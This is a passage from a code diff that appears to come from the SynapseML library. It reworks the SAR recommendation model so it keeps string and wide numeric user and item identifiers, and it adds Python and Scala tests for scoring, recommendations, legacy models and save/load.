getUserDataFrame, getUserCol) - recommendForAll(srcFactorSubset, getItemDataFrame, getUserCol, getItemCol, numItems) + validateSubsetType(dataset, getUserCol, getUserIdMapping) + val sourceFactors = getSourceFactorSubset( + dataset, + getUserIdMapping, + getUserCol, + getUserDataFrame, + getUserCol + ) + recommendForAll( + userRecommendationSide(sourceFactors, mayBeEmpty = true), + itemRecommendationSide(getItemDataFrame), + numItems + ) } - /** - * Returns a subset of a factor DataFrame limited to only those unique ids contained - * in the input dataset. - * - * @param dataset input Dataset containing id column to user to filter factors. - * @param factors factor DataFrame to filter. - * @param column column name containing the ids in the input dataset. - * @return DataFrame containing factors only for those ids present in both the input dataset and - * the factor DataFrame. - */ - private def getSourceFactorSubset( - dataset: Dataset[_], - factors: DataFrame, - column: String): DataFrame = { - factors - .join(dataset.select(column), factors(getUserCol) === dataset(column), joinType = "left_semi") - .select(factors(getUserCol), factors("flatList")) + /** Returns top users for every item. The `numItems` name is retained for source compatibility. */ + def recommendForAllItems(numItems: Int): DataFrame = { + recommendForAll( + itemRecommendationSide(getItemDataFrame), + userRecommendationSide(getUserDataFrame), + numItems + ) } /** - * Personalized recommendations for a single user are obtained by multiplying the Item-to-Item similarity matrix - * with a user affinity vector. The user affinity vector is simply a transposed row of the affinity matrix - * corresponding to that user. - * - * @param num - * @return + * Returns top `numUsers` users recommended for each known item in `dataset`. + * Duplicate, null, and unknown item identifiers do not create output rows. */ + def recommendForItemSubset(dataset: Dataset[_], numUsers: Int): DataFrame = { + validateSubsetType(dataset, getItemCol, getItemIdMapping) + val sourceFactors = getSourceFactorSubset( + dataset, + getItemIdMapping, + getItemCol, + getItemDataFrame, + getItemCol + ) + recommendForAll( + itemRecommendationSide(sourceFactors, mayBeEmpty = true), + userRecommendationSide(getUserDataFrame), + numUsers + ) + } + + private def dotProduct = udf((left: Seq[Float], right: Seq[Float]) => { + left.iterator.zip(right.iterator) + .map { case (leftValue, rightValue) => leftValue.toDouble * rightValue.toDouble } + .sum + .toFloat + }) + + private def recommendationOutputMapping(mapping: DataFrame, outputAsInt: Boolean): DataFrame = { + val identifierType = mapping.schema(SAR.OriginalIdCol).dataType + if (outputAsInt && identifierType.isInstanceOf[NumericType] && identifierType != IntegerType) { + mapping.withColumn( + SAR.OriginalIdCol, + SAR.tryCast(SAR.OriginalIdCol, IntegerType) + ) + } else { + mapping + } + } + private def recommendForAll( - srcFactors: DataFrame, - dstFactors: DataFrame, - srcOutputColumn: String, - dstOutputColumn: String, - num: Int): DataFrame = { - - def dfToRDDMatrxEntry(dataframe: DataFrame) = { - dataframe.rdd - .flatMap(row => - row.getAs[Seq[Float]](1).zipWithIndex.map { case (list, index) => Row(row.getDouble(0), index, list) }) - .map(item => MatrixEntry(item.getDouble(0).toLong, item.getInt(1).toLong, item.getFloat(2).toDouble)) + source: RecommendationSide, + destination: RecommendationSide, + numRecommendations: Int): DataFrame = { + require(numRecommendations > 0, "The number of recommendations must be positive") + val outputSource = source.copy(mapping = recommendationOutputMapping(source.mapping, source.outputAsInt)) + val outputDestination = destination.copy( + mapping = recommendationOutputMapping(destination.mapping, destination.outputAsInt) + ) + val topScores = rankScores(outputSource, outputDestination, numRecommendations) + aggregateRecommendations( + decodeScores(topScores, outputSource, outputDestination), + outputSource, + outputDestination + ) + } + + private def factorMatrix(side: RecommendationSide): CoordinateMatrix = { + val entries = side.factors + .select(col(side.indexColumn), col(side.vectorColumn)) + .rdd + .flatMap(row => { + val identifier = row.get(0).asInstanceOf[Number].longValue() + row.getSeq[Float](1).zipWithIndex.map { case (value, featureIndex) => + MatrixEntry(identifier, featureIndex.toLong, value.toDouble) + } + }) + new CoordinateMatrix(entries) + } + + private def collectLegacyDestinationIndices(destination: RecommendationSide): Array[Int] = { + val destinationFactorIndices = destination.factors + .select(col(destination.indexColumn).cast(DoubleType).as(SARModel.DestinationIndexCol)) + .distinct() + val destinationMappingIndices = destination.mapping + .select(col(SAR.IndexCol).cast(DoubleType).as(SARModel.DestinationIndexCol)) + .distinct() + destinationFactorIndices + .join(destinationMappingIndices, Seq(SARModel.DestinationIndexCol), "inner") + .collect() + .flatMap(row => { + val index = row.getDouble(0) + if (index >= 0.0 && index <= Int.MaxValue && index == index.toInt.toDouble) { + Some(index.toInt) + } else { + None + } + }) + .distinct + .sorted + } + + private def topCandidates( + scores: Array[Double], + destinationIndices: Option[Array[Int]], + numRecommendations: Int): Array[(Double, Int)] = { + val candidates = destinationIndices match { + case Some(indices) => indices.iterator + .filter(_ < scores.length) + .map(destinationIndex => (scores(destinationIndex), destinationIndex)) + case None => scores.iterator.zipWithIndex } + candidates + .toArray + .sortBy { case (score, destinationIndex) => (-score, destinationIndex) } + .take(numRecommendations) + } + + private def rankScores( + source: RecommendationSide, + destination: RecommendationSide, + numRecommendations: Int): DataFrame = { + val spark = source.factors.sparkSession + if (source.mayBeEmpty && source.factors.isEmpty) { + spark.createDataFrame(spark.sparkContext.emptyRDD[Row], SARModel.ScoreSchema) + } else { + val destinationIndices = if (destination.mappingIsLegacy) { + Some(collectLegacyDestinationIndices(destination)) + } else { + None + } + val scoreRows = factorMatrix(source) + .toBlockMatrix() + .multiply(factorMatrix(destination).toBlockMatrix().transpose) + .toIndexedRowMatrix() + .rows + .flatMap(indexedRow => { + topCandidates(indexedRow.vector.toArray, destinationIndices, numRecommendations) + .zipWithIndex + .map { case ((score, destinationIndex), rank) => + Row(indexedRow.index.toDouble, destinationIndex.toDouble, score.toFloat, rank + 1) + } + }) + val scores = spark.createDataFrame(scoreRows, SARModel.ScoreSchema) + val actualSources = source.factors + .select(col(source.indexColumn).cast(DoubleType).as(SARModel.SourceIndexCol)) + .distinct() + scores.join(actualSources, Seq(SARModel.SourceIndexCol), "inner") + } + } - val sourceMatrix = new CoordinateMatrix(dfToRDDMatrxEntry(srcFactors)).toBlockMatrix()//.cache() - val destMatrix = new CoordinateMatrix(dfToRDDMatrxEntry(dstFactors)).toBlockMatrix()//.cache() + private def decodeScores( + topScores: DataFrame, + source: RecommendationSide, + destination: RecommendationSide): DataFrame = { + val sourceMapping = source.mapping.select( + col(SAR.IndexCol).as(SARModel.SourceMappingIndexCol), + col(SAR.OriginalIdCol).as(SARModel.SourceOriginalIdCol) + ) + val destinationMapping = destination.mapping.select( + col(SAR.IndexCol).as(SARModel.DestinationMappingIndexCol), + col(SAR.OriginalIdCol).as(SARModel.DestinationOriginalIdCol) + ) - val userToItemMatrix = sourceMatrix - .multiply(destMatrix) - .toIndexedRowMatrix() - .rows.map(indexedRow => (indexedRow.index.toInt, indexedRow.vector)) + topScores + .join( + sourceMapping, + topScores(SARModel.SourceIndexCol) === sourceMapping(SARModel.SourceMappingIndexCol), + "inner" + ) + .join( + destinationMapping, + topScores(SARModel.DestinationIndexCol) === + destinationMapping(SARModel.DestinationMappingIndexCol), + "inner" + ) + } - val orderAndTakeTopK = udf((vector: DenseVector) => { - vector.toArray.zipWithIndex - .map { case (list, index) => (index, list) } - .sortWith(_._2 > _._2) - .take(num) - }) + private def aggregateRecommendations( + decoded: DataFrame, + source: RecommendationSide, + destination: RecommendationSide): DataFrame = { + val recommendation = struct( + col(SARModel.DestinationOriginalIdCol).as(destination.outputColumn), + col(SARModel.ScoreCol).as(Constants.RatingCol) + ) + val rankedRecommendation = struct( + col(SARModel.RankCol).as(SARModel.RankCol), + recommendation.as(SARModel.RecommendationValueCol) + ) - val recommendationArrayType = - ArrayType(new StructType(Array(SF(dstOutputColumn, IntegerType), SF(Constants.RatingCol, FloatType)))) + decoded + .groupBy(col(SARModel.SourceOriginalIdCol)) + .agg(sort_array(collect_list(rankedRecommendation)).as(SARModel.RankedRecommendationsCol)) + .select( + col(SARModel.SourceOriginalIdCol).as(source.outputColumn), + arrayTransform( + col(SARModel.RankedRecommendationsCol), + entry => entry.getField(SARModel.RecommendationValueCol) + ).as(Constants.Recommendations) + ) + } + + private def getSourceFactorSubset( + dataset: Dataset[_], + mapping: DataFrame, + inputColumn: String, + factors: DataFrame, + factorIndexColumn: String): DataFrame = { + val identifiers = dataset.select(col(inputColumn)).distinct() + val indexColumn = SAR.unusedColumnName(identifiers, "__sar_subset_index") + val indexedIdentifiers = SAR.attachIdMapping(identifiers, mapping, inputColumn, indexColumn) + val factorColumns = factors.columns.map(factors(_)) - getUserDataFrame.sparkSession.createDataFrame(userToItemMatrix) - .toDF(id, ratings).withColumn(recommendations, orderAndTakeTopK(col(ratings))).select(id, recommendations) - .select(col(id).as(getUserCol), col(recommendations).cast(recommendationArrayType)) + indexedIdentifiers + .join(factors, indexedIdentifiers(indexColumn) === factors(factorIndexColumn), "inner") + .select(factorColumns: _*) } - private val id = Constants.IdCol - private val ratings = Constants.RatingCol + "s" - private val recommendations = Constants.Recommendations + private def validateSubsetType(dataset: Dataset[_], columnName: String, mapping: DataFrame): Unit = { + SAR.validateIdentifierColumn(dataset.schema, columnName) + validateIdentifierType(dataset.schema, columnName, mapping) + } override def copy(extra: ParamMap): SARModel = { val copied = new SARModel(uid) @@ -144,37 +421,57 @@ class SARModel(override val uid: String) extends Model[SARModel] } override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]( - transform($(rank), $(userDataFrame), $(itemDataFrame), dataset), - dataset.columns.length - ) - } + logTransform[DataFrame]({ + transformSchema(dataset.schema) + val indexedUserCol = SAR.unusedColumnName(dataset, "__sar_user_index") + val withUsers = SAR.attachIdMapping(dataset, getUserIdMapping, getUserCol, indexedUserCol) + val indexedItemCol = SAR.unusedColumnName(withUsers, "__sar_item_index") + val indexed = SAR.attachIdMapping(withUsers, getItemIdMapping, getItemCol, indexedItemCol) + val originalColumns = dataset.columns.map(indexed(_)) - override def transformSchema(schema: StructType): StructType = { - checkNumericType(schema, $(userCol)) - checkNumericType(schema, $(itemCol)) - schema + val userFactors = getUserDataFrame.alias("sarUserFactors") + val itemFactors = getItemDataFrame.alias("sarItemFactors") + indexed + .join(userFactors, indexed(indexedUserCol) === userFactors(getUserCol), "inner") + .join(itemFactors, indexed(indexedItemCol) === itemFactors(getItemCol), "inner") + .select((originalColumns :+ dotProduct( + userFactors("flatList"), + itemFactors(Constants.ItemAffinities) + ).as(getPredictionCol)): _*) + }, dataset.columns.length) } - /** - * Check whether the given schema contains a column of the numeric data type. - * - * @param colName column name - */ - private def checkNumericType( - schema: StructType, - colName: String, - msg: String = ""): Unit = { - val actualDataType = schema(colName).dataType - val message = if (msg != null && msg.trim.length > 0) " " + msg else "" - require(actualDataType.isInstanceOf[NumericType], s"Column $colName must be of type " + - s"NumericType but was actually of type $actualDataType.$message") + override def transformSchema(schema: StructType): StructType = { + SAR.validateIdentifierColumn(schema, getUserCol) + SAR.validateIdentifierColumn(schema, getItemCol) + validateIdentifierType(schema, getUserCol, getUserIdMapping) + validateIdentifierType(schema, getItemCol, getItemIdMapping) + SAR.appendPrediction(schema, getPredictionCol) } - def recommendForAllItems(numItems: Int): DataFrame = { - recommendForAll(getItemDataFrame, getUserDataFrame, getItemCol, getUserCol, numItems) + private def validateIdentifierType(schema: StructType, columnName: String, mapping: DataFrame): Unit = { + val actualType = schema(columnName).dataType + val trainedType = mapping.schema(SAR.OriginalIdCol).dataType + require(SAR.identifierTypesCompatible(actualType, trainedType), + s"Column $columnName has type $actualType, but SAR was trained with $trainedType") } - } -object SARModel extends ComplexParamsReadable[SARModel] +object SARModel extends ComplexParamsReadable[SARModel] { + private val SourceIndexCol = "__sar_source_index" + private val DestinationIndexCol = "__sar_destination_index" + private val ScoreCol = "__sar_score" + private val RankCol = "__sar_rank" + private val SourceMappingIndexCol = "__sar_source_mapping_index" + private val DestinationMappingIndexCol = "__sar_destination_mapping_index" + private val SourceOriginalIdCol = "__sar_source_original_id" + private val DestinationOriginalIdCol = "__sar_destination_original_id" + private val RecommendationValueCol = "value" + private val RankedRecommendationsCol = "__sar_ranked_recommendations" + private val ScoreSchema = StructType(Seq( + StructField(SourceIndexCol, DoubleType, nullable = false), + StructField(DestinationIndexCol, DoubleType, nullable = false), + StructField(ScoreCol, FloatType, nullable = false), + StructField(RankCol, IntegerType, nullable = false) + )) +} diff --git a/core/src/test/python/synapsemltest/recommendation/test_ranking.py b/core/src/test/python/synapsemltest/recommendation/test_ranking.py index d2d439c3748..3d58e8354a3 100644 --- a/core/src/test/python/synapsemltest/recommendation/test_ranking.py +++ b/core/src/test/python/synapsemltest/recommendation/test_ranking.py @@ -2,6 +2,7 @@ # Licensed under the MIT License. See LICENSE in project root for information. # Prepare training and test data. +import tempfile import unittest from pyspark.sql import SQLContext @@ -10,6 +11,7 @@ from synapse.ml.recommendation import RankingTrainValidationSplit from synapse.ml.recommendation import RecommendationIndexer from synapse.ml.recommendation import SAR +from synapse.ml.recommendation import SARModel from synapse.ml.core.init_spark import * from pyspark.ml import Pipeline from pyspark.ml.feature import StringIndexer @@ -99,6 +101,95 @@ def adapter_evaluator(algo): # sar = SAR(userCol=USER_ID_INDEX, itemCol=ITEM_ID_INDEX, ratingCol=RATING_ID) # self.adapter_evaluator(sar) + @staticmethod + def direct_string_ratings(): + return spark.createDataFrame( + [ + ("user-a", "item-10", 5.0), + ("user-a", "item-20", 2.0), + ("user-b", "item-10", 3.0), + ("user-b", "item-30", 1.0), + ("user-c", "item-20", 4.0), + ("user-c", "item-30", 4.0), + ], + ["user", "item", "rating"], + ) + + def test_sar_direct_string_identifiers(self): + data = self.direct_string_ratings() + model = SAR( + userCol="user", + itemCol="item", + ratingCol="rating", + supportThreshold=1, + ).fit(data) + + self.assertEqual(model.transform(data).count(), data.count()) + self.assertEqual( + { + row.user + for row in model.recommendForAllUsers(2).select("user").collect() + }, + {"user-a", "user-b", "user-c"}, + ) + subset = spark.createDataFrame( + [("user-a",), ("unknown-user",), (None,)], + "user string", + ) + self.assertEqual( + [row.user for row in model.recommendForUserSubset(subset, 2).collect()], + ["user-a"], + ) + self.assertEqual( + model.recommendForAllUsers(2).schema["user"].dataType.typeName(), + "string", + ) + self.assertEqual( + model.recommendForAllUsers(2) + .schema["recommendations"] + .dataType.elementType["item"] + .dataType.typeName(), + "string", + ) + self.assertEqual( + { + row.item + for row in model.recommendForAllItems(numItems=2) + .select("item") + .collect() + }, + {"item-10", "item-20", "item-30"}, + ) + item_subset = spark.createDataFrame( + [("item-10",), ("unknown-item",), (None,)], + "item string", + ) + self.assertEqual( + [ + row.item + for row in model.recommendForItemSubset(item_subset, 2).collect() + ], + ["item-10"], + ) + + def test_sar_string_model_save_load(self): + data = self.direct_string_ratings() + model = SAR( + userCol="user", + itemCol="item", + ratingCol="rating", + supportThreshold=1, + ).fit(data) + + with tempfile.TemporaryDirectory() as directory: + path = directory + "/sar-model" + model.write().overwrite().save(path) + loaded = SARModel.load(path) + self.assertEqual( + loaded.recommendForAllUsers(2).orderBy("user").collect(), + model.recommendForAllUsers(2).orderBy("user").collect(), + ) + def test_all_tiny(self): customer_index = StringIndexer(inputCol=USER_ID, outputCol=USER_ID_INDEX) ratings_index = StringIndexer(inputCol=ITEM_ID, outputCol=ITEM_ID_INDEX) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSpec.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSpec.scala index 211b8a70cdc..6f7c76ea94f 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSpec.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSpec.scala @@ -6,6 +6,7 @@ package com.microsoft.azure.synapse.ml.recommendation import com.microsoft.azure.synapse.ml.core.test.fuzzing.{EstimatorFuzzing, TestObject, TransformerFuzzing} import org.apache.spark.ml.recommendation.ALSModel import org.apache.spark.ml.util.MLReadable +import org.apache.spark.sql.types.{DoubleType, StringType} class RankingTrainValidationSplitSpec extends RankingTestBase with EstimatorFuzzing[RankingTrainValidationSplit] { @@ -32,6 +33,43 @@ class RankingTrainValidationSplitSpec extends RankingTestBase with EstimatorFuzz } + test("splitDF preserves string identifiers with and without ratings") { + import spark.implicits._ + val stringRatings = Seq( + ("user-a", "item-a", 1.0), + ("user-a", "item-b", 2.0), + ("user-b", "item-a", 3.0), + ("user-b", "item-c", 4.0) + ).toDF("user", "item", "rating") + val splitter = new RankingTrainValidationSplit() + .setUserCol("user") + .setItemCol("item") + .setRatingCol("rating") + .setTrainRatio(0.5) + + val ratedParts = splitter.splitDF(stringRatings) + ratedParts.foreach(part => { + assert(part.schema("user").dataType == StringType) + assert(part.schema("item").dataType == StringType) + assert(part.schema("rating").dataType == DoubleType) + assert(part.filter(part("item").isNull).count() == 0) + }) + val recombinedRatings = ratedParts.reduce(_.unionByName(_)) + assert(recombinedRatings.exceptAll(stringRatings).count() == 0) + assert(stringRatings.exceptAll(recombinedRatings).count() == 0) + + val stringInteractions = stringRatings.select("user", "item") + val interactionParts = splitter.splitDF(stringInteractions) + interactionParts.foreach(part => { + assert(part.schema("user").dataType == StringType) + assert(part.schema("item").dataType == StringType) + assert(part.filter(part("item").isNull).count() == 0) + }) + val recombinedInteractions = interactionParts.reduce(_.unionByName(_)) + assert(recombinedInteractions.exceptAll(stringInteractions).count() == 0) + assert(stringInteractions.exceptAll(recombinedInteractions).count() == 0) + } + override def testObjects(): Seq[TestObject[RankingTrainValidationSplit]] = { List(new TestObject(rankingTrainValidationSplit, transformedDf)) } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARIdentifierSpec.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARIdentifierSpec.scala new file mode 100644 index 00000000000..8b6c28ca94f --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARIdentifierSpec.scala @@ -0,0 +1,380 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.recommendation + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.commons.io.FileUtils +import org.apache.spark.sql.DataFrame +import org.apache.spark.sql.functions.{col, desc} +import org.apache.spark.sql.types.{ArrayType, FloatType, IntegerType, LongType, StringType, StructType} + +import java.nio.file.Files + +class SARIdentifierSpec extends TestBase { + + private val userCol = "user" + private val itemCol = "item" + private val ratingCol = "rating" + + private def stringRatings: DataFrame = { + import spark.implicits._ + Seq( + ("user-c", "item-30", 4.0), + ("user-a", "item-10", 5.0), + ("user-a", "item-20", 2.0), + ("user-b", "item-10", 3.0), + ("user-b", "item-30", 1.0), + ("user-c", "item-20", 4.0) + ).toDF(userCol, itemCol, ratingCol) + } + + private def newSar: SAR = new SAR() + .setUserCol(userCol) + .setItemCol(itemCol) + .setRatingCol(ratingCol) + .setSupportThreshold(1) + .setSimilarityFunction("jaccard") + + test("SAR preserves string identifiers in transforms and recommendations") { + import spark.implicits._ + val model = newSar.fit(stringRatings) + + val scored = model.transform(stringRatings) + assert(scored.count() == stringRatings.count()) + assert(scored.schema(userCol).dataType == StringType) + assert(scored.schema(itemCol).dataType == StringType) + assert(scored.schema(model.getPredictionCol).dataType == FloatType) + assert(scored.filter(col(model.getPredictionCol).isNull).count() == 0) + + val userRecommendations = model.recommendForAllUsers(2) + assert(userRecommendations.schema(userCol).dataType == StringType) + val userRecType = userRecommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(userRecType(itemCol).dataType == StringType) + assert(userRecommendations.select(userCol).as[String].collect().toSet == + Set("user-a", "user-b", "user-c")) + + val itemRecommendations = model.recommendForAllItems(2) + assert(itemRecommendations.schema(itemCol).dataType == StringType) + val itemRecType = itemRecommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(itemRecType(userCol).dataType == StringType) + + val userSubset = Seq(Some("user-a"), Some("user-a"), Some("missing-user"), None).toDF(userCol) + assert(model.recommendForUserSubset(userSubset, 2).select(userCol).as[String].collect().toSeq == + Seq("user-a")) + + val itemSubset = Seq(Some("item-20"), Some("item-20"), Some("missing-item"), None).toDF(itemCol) + assert(model.recommendForItemSubset(itemSubset, 2).select(itemCol).as[String].collect().toSeq == + Seq("item-20")) + } + + test("SAR mappings are deterministic and model owned") { + val forward = newSar.fit(stringRatings) + val reversed = newSar.fit(stringRatings.orderBy(desc(userCol), desc(itemCol))) + + val forwardUsers = forward.getUserIdMapping.orderBy("index").collect().map(_.get(0)).toSeq + val reversedUsers = reversed.getUserIdMapping.orderBy("index").collect().map(_.get(0)).toSeq + val forwardItems = forward.getItemIdMapping.orderBy("index").collect().map(_.get(0)).toSeq + val reversedItems = reversed.getItemIdMapping.orderBy("index").collect().map(_.get(0)).toSeq + + assert(forwardUsers == Seq("user-a", "user-b", "user-c")) + assert(forwardUsers == reversedUsers) + assert(forwardItems == Seq("item-10", "item-20", "item-30")) + assert(forwardItems == reversedItems) + } + + test("SAR preserves wide numeric identifiers without casting them") { + import spark.implicits._ + val numericRatings = Seq( + (3000000000L, 9000000000L, 4.0), + (3000000000L, 9000000001L, 2.0), + (4000000000L, 9000000000L, 5.0), + (4000000000L, 9000000002L, 3.0) + ).toDF(userCol, itemCol, ratingCol) + + val model = newSar.fit(numericRatings) + assert(!model.getUserIdsFitInt) + assert(!model.getItemIdsFitInt) + val recommendations = model.recommendForAllUsers(3) + assert(recommendations.schema(userCol).dataType == LongType) + val recommendationType = recommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(recommendationType(itemCol).dataType == LongType) + assert(recommendations.select(userCol).as[Long].collect().toSet == Set(3000000000L, 4000000000L)) + assert(recommendations.select("recommendations.item").collect() + .flatMap(_.getSeq[Long](0)).forall(_ >= 9000000000L)) + assert(model.transform(numericRatings).count() == numericRatings.count()) + } + + test("SAR accepts only round-trip-safe numeric scoring casts") { + import spark.implicits._ + val numericRatings = Seq( + (1L, 10L, 1.0), + (1L, 20L, 2.0), + (2L, 10L, 3.0), + (2L, 20L, 4.0) + ).toDF(userCol, itemCol, ratingCol) + val model = newSar.fit(numericRatings) + + val integerScoring = Seq((1, 10), (2, 20)).toDF(userCol, itemCol) + val integerSchema = model.transformSchema(integerScoring.schema) + assert(integerSchema(userCol).dataType == IntegerType) + assert(integerSchema(itemCol).dataType == IntegerType) + assert(model.transform(integerScoring).count() == 2) + + val mixedDoubleScoring = Seq( + (1.0, 10.0), + (1.5, 10.0), + (2.0, 20.25) + ).toDF(userCol, itemCol) + val safelyScored = model.transform(mixedDoubleScoring).select(userCol, itemCol).collect() + assert(safelyScored.length == 1) + assert(safelyScored.head.getDouble(0) == 1.0) + assert(safelyScored.head.getDouble(1) == 10.0) + + val integerModel = newSar.fit(Seq( + (1, 10, 1.0), + (1, 20, 2.0), + (2, 10, 3.0), + (2, 20, 4.0) + ).toDF(userCol, itemCol, ratingCol)) + val rangeChecked = Seq( + (1L, 10L), + (Int.MaxValue.toLong + 1L, 10L) + ).toDF(userCol, itemCol) + assert(integerModel.transform(rangeChecked).count() == 1) + } + + test("SAR numeric compatibility is ANSI-safe for wide Long identifiers") { + import spark.implicits._ + val previousAnsi = spark.conf.getOption("spark.sql.ansi.enabled") + spark.conf.set("spark.sql.ansi.enabled", "true") + try { + val integerRatings = Seq( + (1, 10, 1.0), + (1, 20, 2.0), + (2, 10, 3.0), + (2, 20, 4.0) + ).toDF(userCol, itemCol, ratingCol) + val integerModel = newSar.fit(integerRatings) + val rangeChecked = Seq( + (1L, 10L), + (Int.MaxValue.toLong + 1L, 10L) + ).toDF(userCol, itemCol) + assert(integerModel.transform(rangeChecked).count() == 1) + + val wideRatings = Seq( + (3000000000L, 9000000000L, 1.0), + (3000000000L, 9000000001L, 2.0), + (4000000000L, 9000000000L, 3.0) + ).toDF(userCol, itemCol, ratingCol) + val wideModel = newSar.fit(wideRatings) + val recommendations = wideModel.recommendForAllUsers(2) + assert(recommendations.schema(userCol).dataType == LongType) + assert(recommendations.collect().nonEmpty) + } finally { + previousAnsi match { + case Some(value) => spark.conf.set("spark.sql.ansi.enabled", value) + case None => spark.conf.unset("spark.sql.ansi.enabled") + } + } + } + + test("SAR mapped recommendation planning avoids repeated mapping and source scans") { + val model = newSar.fit(stringRatings) + val context = spark.sparkContext + val userMappingReads = context.longAccumulator("sar-user-mapping-reads") + val itemMappingReads = context.longAccumulator("sar-item-mapping-reads") + val countedUserMapping = model.getUserIdMapping + val countedItemMapping = model.getItemIdMapping + model + .setUserIdMapping(spark.createDataFrame( + countedUserMapping.rdd.map(row => { + userMappingReads.add(1) + row + }), + countedUserMapping.schema + )) + .setItemIdMapping(spark.createDataFrame( + countedItemMapping.rdd.map(row => { + itemMappingReads.add(1) + row + }), + countedItemMapping.schema + )) + + val jobGroup = s"sar-recommendation-planning-${System.nanoTime()}" + context.setJobGroup(jobGroup, "detect eager recommendation actions") + try { + model.recommendForAllUsers(2) + model.recommendForAllItems(2) + val jobCount = context.statusTracker.getJobIdsForGroup(jobGroup).length + assert(userMappingReads.value == 0L) + assert(itemMappingReads.value == 0L) + assert(jobCount <= 45, s"Recommendation planning launched $jobCount jobs") + } finally { + context.clearJobGroup() + } + } + + test("SAR keeps established integer recommendation schemas for round-trip numeric IDs") { + import spark.implicits._ + val numericRatings = Seq( + (0.0, 0.0, 1.0), + (0.0, 1.0, 2.0), + (1.0, 0.0, 3.0), + (1.0, 1.0, 4.0) + ).toDF(userCol, itemCol, ratingCol) + val model = newSar.fit(numericRatings) + assert(model.getUserIdsFitInt) + assert(model.getItemIdsFitInt) + + val userRecommendations = model.recommendForAllUsers(2) + assert(userRecommendations.schema(userCol).dataType == IntegerType) + val userRecommendationType = userRecommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(userRecommendationType(itemCol).dataType == IntegerType) + + val itemRecommendations = model.recommendForAllItems(2) + assert(itemRecommendations.schema(itemCol).dataType == IntegerType) + val itemRecommendationType = itemRecommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(itemRecommendationType(userCol).dataType == IntegerType) + } + + test("SAR supports legacy numeric models without persisted mappings") { + import spark.implicits._ + val numericRatings = Seq( + (0.0, 0.0, 1.0), + (0.0, 1.0, 2.0), + (1.0, 0.0, 3.0), + (1.0, 1.0, 4.0) + ).toDF(userCol, itemCol, ratingCol) + val fitted = newSar.fit(numericRatings) + val legacyModel = new SARModel() + .setUserCol(userCol) + .setItemCol(itemCol) + .setUserDataFrame(fitted.getUserDataFrame) + .setItemDataFrame(fitted.getItemDataFrame) + + assert(!legacyModel.isDefined(legacyModel.userIdMapping)) + assert(!legacyModel.isDefined(legacyModel.itemIdMapping)) + assert(!legacyModel.getUserIdsFitInt) + assert(!legacyModel.getItemIdsFitInt) + assert(legacyModel.transform(numericRatings).count() == numericRatings.count()) + val integerScoring = Seq((0, 0), (1, 1)).toDF(userCol, itemCol) + assert(legacyModel.transform(integerScoring).count() == integerScoring.count()) + + val recommendations = legacyModel.recommendForAllUsers(2) + assert(recommendations.schema(userCol).dataType == IntegerType) + val recommendationType = recommendations.schema("recommendations").dataType.asInstanceOf[ArrayType] + .elementType.asInstanceOf[StructType] + assert(recommendationType(itemCol).dataType == IntegerType) + } + + test("SAR legacy top-K considers only mapped destination identifiers") { + import spark.implicits._ + val userFactors = Seq((0.0, Seq(0.0f, 0.0f, 0.0f))).toDF(userCol, "flatList") + val itemFactors = Seq( + (0.0, Seq(0.0f, 0.0f, 0.0f)), + (2.0, Seq(0.0f, 0.0f, 0.0f)) + ).toDF(itemCol, "itemAffinities") + val legacyModel = new SARModel() + .setUserCol(userCol) + .setItemCol(itemCol) + .setUserDataFrame(userFactors) + .setItemDataFrame(itemFactors) + + val itemIds = legacyModel.recommendForAllUsers(2) + .select("recommendations.item") + .head() + .getSeq[Int](0) + assert(itemIds == Seq(0, 2)) + } + + test("SAR drops unknown and null identifiers during scoring") { + import spark.implicits._ + val model = newSar.fit(stringRatings) + val scoringData = Seq( + (Some("user-a"), Some("item-10")), + (Some("unknown-user"), Some("item-10")), + (Some("user-a"), Some("unknown-item")), + (None, Some("item-10")), + (Some("user-a"), None) + ).toDF(userCol, itemCol) + + val rows = model.transform(scoringData).collect() + assert(rows.length == 1) + assert(rows.head.getAs[String](userCol) == "user-a") + assert(rows.head.getAs[String](itemCol) == "item-10") + } + + test("SAR rejects null training identifiers and unsupported identifier types") { + import spark.implicits._ + val nullUserData = Seq( + (Some("user-a"), "item-10", 1.0), + (None, "item-20", 1.0) + ).toDF(userCol, itemCol, ratingCol) + val nullError = intercept[IllegalArgumentException](newSar.fit(nullUserData)) + assert(nullError.getMessage.contains("null")) + assert(nullError.getMessage.contains(userCol)) + + val nullItemData = Seq( + ("user-a", Some("item-10"), 1.0), + ("user-b", None, 1.0) + ).toDF(userCol, itemCol, ratingCol) + val nullItemError = intercept[IllegalArgumentException](newSar.fit(nullItemData)) + assert(nullItemError.getMessage.contains("null")) + assert(nullItemError.getMessage.contains(itemCol)) + + val unsupported = Seq((true, "item-10", 1.0)).toDF(userCol, itemCol, ratingCol) + val typeError = intercept[IllegalArgumentException](newSar.transformSchema(unsupported.schema)) + assert(typeError.getMessage.contains("string or numeric")) + } + + test("SAR transformSchema preserves identifier types and declares prediction") { + val estimatorSchema = newSar.transformSchema(stringRatings.schema) + assert(estimatorSchema(userCol).dataType == StringType) + assert(estimatorSchema(itemCol).dataType == StringType) + assert(estimatorSchema(newSar.getPredictionCol).dataType == FloatType) + + val model = newSar.fit(stringRatings) + val modelSchema = model.transformSchema(stringRatings.select(userCol, itemCol).schema) + assert(modelSchema(userCol).dataType == StringType) + assert(modelSchema(itemCol).dataType == StringType) + 